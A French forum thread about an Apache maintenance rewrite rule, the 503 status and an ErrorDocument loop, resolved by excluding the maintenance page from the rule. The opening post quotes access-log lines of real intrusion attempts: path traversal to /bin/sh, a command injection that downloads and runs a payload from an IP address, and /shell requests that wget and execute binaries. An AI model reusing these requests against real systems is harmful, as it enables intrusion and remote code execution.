Réécriture pour maintenance qui ne capture pas tout

Et non redirection comme mis au départ

Le problème exposé dans ce sujet a été résolu.

Bonjour tout le monde !

J’ai l’habitude de mettre une redirection simple RewriteRule .* maintenance.php [END] en place quand je fais de la maintenance sur un site. Depuis quelque temps, je regarde les logs d’accès créés pendant la période de maintenance, et quelque chose me surprend : je vois passer des requêtes qui ne semblent pas être redirigées, dans la mesure où les réponses n’ont pas le bon statut. En voici quelques unes.

POST /cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh HTTP/1.1
GET /cgi-bin/kerbynet?Section=NoAuthREQ&Action=x509List&type=*%22;cd%20%2Ftmp;curl%20-O%20http%3A%2F%2F5.206.227.228%2Fzero;sh%20zero;%22 HTTP/1.0
GET / HTTP/1.1
GET /shell?cd+/tmp;rm+-rf+*;wget+ (un nom de domaine sans schéma)/jaws;sh+/tmp/jaws
GET /shell?cd+/tmp;rm+-rf+*;wget+ http://(une adress IPv4)/.s4y/arm;sh+/tmp/arm

Je n’ai pas de dossier /cgi-bin ni de fichier shell. Est-ce que le serveur (Apache) possède des alias qu sont automatiquement mis en place ?

Toutes ces requêtes ont reçu une 400 ou une 404, mais justement, je pensais tout rediriger vers la page de maintenance qui retourne une 503…

Est-ce qu’il manque des flags dans ma redirection pour que ces requêtes soient elles aussi redirigées ?

Merci d’avance

+0 -0

On dirait des tentatives d’attaque/intrusion ce genre de requêtes, donc c’est probablement pas bien grave de pas les traiter.

Ça vaut d’ailleurs probablement mieux si tu veux éviter d’exposer ton serveur : si Apache les intercepte c’est pas forcément plus mal, ton PHP ne risque ainsi pas d’exécuter du code arbitraire (vu les paramètres des requêtes).

Alors effectivement, à part la troisième ligne fournie (je comprends d’ailleurs encore moins pourquoi celle-ci n’est pas redirigée, surtout que d’autres pour lesquelles je vois la même chose dans les logs sont redirigées, elles), ce sont toutes des tentatives suspectes. J’aurais envie de dire que c’est tant mieux qu’elles aient reçu un statut 4##, mais le fait que ces requêtes aboutissent ailleurs que là où je m’attendais me fait penser qu’il pourrait y en avoir qui, hélas, ne recevraient pas un statut d’erreur… et je le verrais trop tard.

Qui plus est, là c’est avec une "redirection finale", mais je doute que d’avoir mis [END] change beaucoup de choses sur la capture de la requête, donc cela veut dire que même quand le site n’est pas en mainenance, le risque selon moi existe aussi.

+0 -0

Rien de particulier il me semble, j’ai l’impression que ce sont les modules par défaut ainsi que ceux pour pouvoir supporter du HTTPS.

Modules actuellement activés
  • access_compat
  • actions
  • alias
  • allowmethods
  • asis
  • auth_basic
  • auth_digest
  • authn_core
  • auth_file
  • authz_groupfile
  • authz_user
  • autoindex
  • cache_disk
  • cache
  • cgi (tiens, celui-ci, je pense que je pourrais le désactiver, je n’utilise plus PHP FPM)
  • dir
  • env
  • file_cache
  • include
  • isapi
  • log_config
  • mine
  • negociation
  • rewrite
  • setenvif
  • socache_shmcb
  • ssl
  • userdir (je l’avais oublié, celui-là, je devrais pouvoir le désactiver aussi)
  • vhost_alias
+0 -0

Hello :) ,

Sauf erreur de ma part, utiliser RewriteRule avec [END] ne fait pas une redirection mais se contente de réécrire l’url.

Donc dans ton cas, accéder à http://url.tld/toto affichera le contenu de la page maintenance.php mais la barre d’adresse devrait afficher l’url originale. De la même manière les logs affichent http://url.tld/toto

Pour faire un vraie redirection avec un code HTTP 302 tu peux utiliser le flag [R] : https://httpd.apache.org/docs/2.4/fr/rewrite/flags.html#flag_r

Hello,

Pour faire un vraie redirection avec un code HTTP 302 tu peux utiliser le flag [R] : https://httpd.apache.org/docs/2.4/fr/rewrite/flags.html#flag_r

luuka

Juste un petit point bonne pratique : lorsqu’il s’agit de mettre en place une page de maintenance, il est préférable de ne pas créer de redirection mais plutôt de retourner le code de statut 503 Service Unavailable, qui est prévu pour signaler, comme l’indique le message, que le service est indisponible (pour n’importe quelle raison).

Étant un code d’erreur serveur (comme tous les statuts en 5xx), ça a plusieurs avantages, principalement SEO :

  • ça permet d’éviter que ta page de redirection se retrouve indexée par les moteurs de recherche (ce que tu ne veux probablement pas)
  • ça permet d’éviter que tes pages déjà indexées soient supprimées, et donc que ton site doive être de nouveau crawlée une fois la maintenance terminée
  • si tu as des systèmes de cache entre ton code serveur et ton client (type CloudFlare ou autre), ils seront préservés

Et d’une manière générale, tous les crawlers (moteurs de recherche ou non) ne vont pas plus loin sur la page lorsqu’ils rencontrent ce code de statut, puisque ce dernier dit littéralement « en temps normal, il y a quelque chose ici, mais tout de suite, je ne peux pas te le servir, réessaie plus tard ».

Ta ligne de RewriteRule est donc préférable, avec juste un petit détail :

RewriteRule .* maintenance.php [R=503,L]

Le R=503 est un flag normalement utilisé pour la redirection, mais dans notre cas, on précise qu’il s’agit d’un statut 503, ce qui provoque une simple réécriture sans redirection, comme l’indique la documentation :

Tout code de statut de réponse HTTP valide peut être spécifié, en utilisant la syntaxe [R=305], le code de statut 302 étant utilisé par défaut si aucun code n’est spécifié. Le code de statut spécifié n’est pas nécessairement un code de statut de redirection (3xx). Cependant, si le code de statut est en dehors de la plage des codes de redirection (300–399), la chaîne de substitution est entièrement supprimée, et la réécriture s’arrête comme si le drapeau L était utilisé.

https://httpd.apache.org/docs/2.2/rewrite/flags.html#flag_r
+4 -0

Ha ! Je n’avais pas fermé ce sujet, probablement que je pensais que je mettrais moins de temps à mettre en place la réécriture avec statut 503 et page personnalisée. Et du coup, je me permets de ne pas rouvrir de sujet.

Le fait est que je n’ai pas eu à réutiliser ça trop souvent depuis février, ou alors à des heures suffisamment indues pour que cela ne gêne pas plus que cela et que j’aie la flemme de faire des tests.

J’ai néanmoins tenté de mettre en place ce qui suit, avec mon site hébergé dans /home/leSite/www, et accès en FTP au dossier /home/leSite :

RewriteRule .* maintenance.html [R=503,L]
ErrorDocument 503 maintenance.html
# testé avec
#    1     maintenance.html
#    2    /maintenance.html
#    3   ./maintenance.html
#    4    /maintenance.html
#    5    /www/maintenance.html
#    6    /home/leSite/www/maintenance.html

Avec uniquement RewriteRule, j’ai bien la page, mais j’ai un statut HTTP 200. Après avoir ajouté les flags, j’ai le statut attendu, mais la page standard d’Apache. En ayant ajouté ErrorDocument et l’une des valeurs, voici ce qui s’affiche pour chacune d’entre elles :

  1. maintenance.html comme unique contenu
  2. la page standard d’Apache, avec Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.
  3. ./maintenance.html comme unique contenu
  4. la page standard d’Apache, avec Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.
  5. la page standard d’Apache, avec Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.
  6. la page standard d’Apache, avec Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request.

J’ai donc naïvement tenté d’ajouter ProxyPass maintenance.html !, puis plus réfléchi la modification de RewriteRule .* … en RewriteRule !^maintenance\.html …, mais je ne m’en sors pas.

Est-ce qu’une âme charitable pourrait m’indiquer ce qu’il me manque ?

Merci  :)

+0 -0

Lu,

Et avec :

RewriteRule ^maintenance\.html$ - [L]
RewriteRule ^ /maintenance.html [R=503,L]

ErrorDocument 503 /maintenance.html

?

Le Additionally, a 503 Service Unavailable error was encountered while trying to use an ErrorDocument to handle the request voudrait dire qu’il y a récursion et .* inclut normalement ta page de maintenance, ce ne serait donc pas étonnant qu’il y ait une boucle infinie (réécriture => ErrorDocument => réécriture => ErrorDocument => …), du moins un début car Apache semble la détecter sur la répétition du statut 503 lorsqu’il essaie d’appliquer ErrorDocument (sur la seconde itération, je dirais).

+1 -0

Je me doutais qu’il devait y avoir une histoire d’exclusion à mettre quelque part…

Merci beaucoup ! Ça se comporte comme attendu.

Edit

A tête reposée, la logique me paraît évidente au final. Encore merci

+0 -0
Connectez-vous pour pouvoir poster un message.
Connexion

Pas encore membre ?

Créez un compte en une minute pour profiter pleinement de toutes les fonctionnalités de Zeste de Savoir. Ici, tout est gratuit et sans publicité.
Créer un compte